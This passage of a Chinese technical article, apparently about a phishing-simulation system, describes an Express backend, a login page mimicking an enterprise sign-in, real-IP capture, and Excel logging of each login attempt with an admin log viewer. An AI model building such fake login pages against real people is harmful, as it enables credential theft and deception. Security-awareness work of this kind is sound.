rgb(130, 127, 196);line-height: 1.5em;letter-spacing: 0em;padding-top: 10px;padding-bottom: 10px;padding-left: 10px;padding-right: 10px;align-items: center;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 30px;border-top-right-radius: 30px;border-bottom-left-radius: 30px;border-bottom-right-radius: 30px;box-shadow: none;display: flex;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: center;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">0x03 前期的技术选择与架构设计</span></span></h1><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span style="word-break: break-all;word-wrap: break-word;"><span leaf="">Node.js+Express.js：作为后端服务，Node.js的事件驱动、非阻塞I/O特性还是比较适合处理大量的并发登录请求的。 ExcelJS：替代了有问题的xlsx库，提供了更稳定、功能更丰富的Excel文件处理能力。 原生前端技术：使用HTML/CSS/JavaScript 构建界面，避免了框架依赖，同时也提高了系统的稳定性和加载速度。</span></span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 18px;color: rgb(130, 127, 196);line-height: 1.5em;letter-spacing: 0em;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;align-items: center;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">架构设计</span></span></h2><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">系统主要通过三个主要组件来实现功能</span></p><ul style="list-style-type: disc;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span style="word-break: break-all;word-wrap: break-word;"><span leaf="">后端服务器 (server.js)-提供API接口和Excel文件处理</span></span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">登录页面-模拟真实的企业登录界面</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">日志查看器 (logs-viewer.html)-提供日志管理和查看功能</span></p></li></ul><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 20px;color: rgb(255, 255, 255);background-color: rgb(130, 127, 196);line-height: 1.5em;letter-spacing: 0em;padding-top: 10px;padding-bottom: 10px;padding-left: 10px;padding-right: 10px;align-items: center;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 30px;border-top-right-radius: 30px;border-bottom-left-radius: 30px;border-bottom-right-radius: 30px;box-shadow: none;display: flex;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: center;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">0x04 核心功能实现</span></span></h1><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">对于整个项目的实现思想来说，重要的核心功能之一就是如何实现准确获取来源IP。</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 18px;color: rgb(130, 127, 196);line-height: 1.5em;letter-spacing: 0em;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;align-items: center;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">自动获取用户的真实IP地址</span></span></h2><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">使用Express.js的trust proxy配置，让Express信任代理服务器转发的请求头。同时确保IP格式的一致性。</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100038098" data-ratio="0.6128722382324687" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-type="png" data-w="1041" src="https://wechat2rss.xlab.app/img-proxy/?k=fc80658f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RWxDqxdzfia5rZO0l2LMWtJn4kHC6uYgSt50tsKvyFiaJFibCUIpic9jQNz5aD5og3r82xic3r7eLbiaT2Q%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 18px;color: rgb(130, 127, 196);line-height: 1.5em;letter-spacing: 0em;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;align-items: center;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">生成美观易懂的Excel表格</span></span></h2><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">考虑到登录信息可能并发量比较大，那么就要求我们的生成表格功能要实现自动创建、更新和管理Excel格式的登录日志文件，而且支持追加新记录和保持现有数据。</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100038100" data-ratio="1.0637065637065637" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-type="png" data-w="1036" src="https://wechat2rss.xlab.app/img-proxy/?k=faa3ba23&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RWxDqxdzfia5rZO0l2LMWtJnLoLS95nqVj4mEjYibZtj1m9IPDFMia0ErqeMDLEKBqXAd23WdyHtwNiag%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">这里我刚开始时用的xlsx库，但是后来实测发现总是出现各种问题，后来使用ExcelJS库替代有问题的xlsx库，并且实现了自动创建表头和样式（粗体、背景色），而且支持文件追加模式，不覆盖现有数据，同时具备完整的错误处理和日志记录。</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 18px;color: rgb(130, 127, 196);line-height: 1.5em;letter-spacing: 0em;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;align-items: center;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">集成前端日志记录</span></span></h2><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">在登录页面中无缝集成日志记录功能，每次用户登录时都会自动发送日志数据。</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.6418918918918919" data-type="png" data-w="1036" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-imgfileid="100038099" src="https://wechat2rss.xlab.app/img-proxy/?k=edfbe6ba&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RWxDqxdzfia5rZO0l2LMWtJnIevsDYAbJw4icbUlibOmGAR01JoiaOWBNWoQlYh6xzCtXQtKbLsRicibCicg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 18px;color: rgb(130, 127, 196);line-height: 1.5em;letter-spacing: 0em;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;align-items: center;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">完整的日志管理界面</span></span></h2><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">这个界面可以提供Web界面的日志查看器，支持文件列表、内容预览、下载等功能。</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5766634522661523" data-type="png" data-w="1037" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;" data-imgfileid="100038097" src="https://wechat2rss.xlab.app/img-proxy/?k=caf51504&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RWxDqxdzfia5rZO0l2LMWtJn2u75YZexHibPdPzKC58AhZicZNaKw6fV8XVEZBjia8y92OBicw94t1VE1g%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 20px;color: rgb(255, 255, 255);background-color: rgb(130, 127, 196);line-height: 1.5em;letter-spacing: 0em;padding-top: 10px;padding-bottom: 10px;padding-left: 10px;padding-right: 10px;align-items: center;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 30px;border-top-right-radius: 30px;border-bottom-left-radius: 30px;border-bottom-right-radius: 30px;box-shadow: none;display: flex;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: center;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">0x05 系统工作流程</span></span></h1><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">1、用户登录流程</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">用户输入账号密码 → 前端记录日志 → 发送到后端API → 获取真实IP → 写入Excel文件 → 返回成功响应</span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">2、登录日志的记录与管理流程</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">管理员访问查看器 → 获取文件列表 → 选择文件查看内容 → 下载或预览日志数据</span></code></pre><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 20px;color: rgb(255, 255, 255);background-color: rgb(130, 127, 196);line-height: 1.5em;letter-spacing: 0em;padding-top: 10px;padding-bottom: 10px;padding-left: 10px;padding-right: 10px;align-items: center;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 30px;border-top-right-radius: 30px;border-bottom-left-radius: 30px;border-bottom-right-radius: 30px;box-shadow: none;display: flex;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: center;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">0x06 实现效果</span></span></h1><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 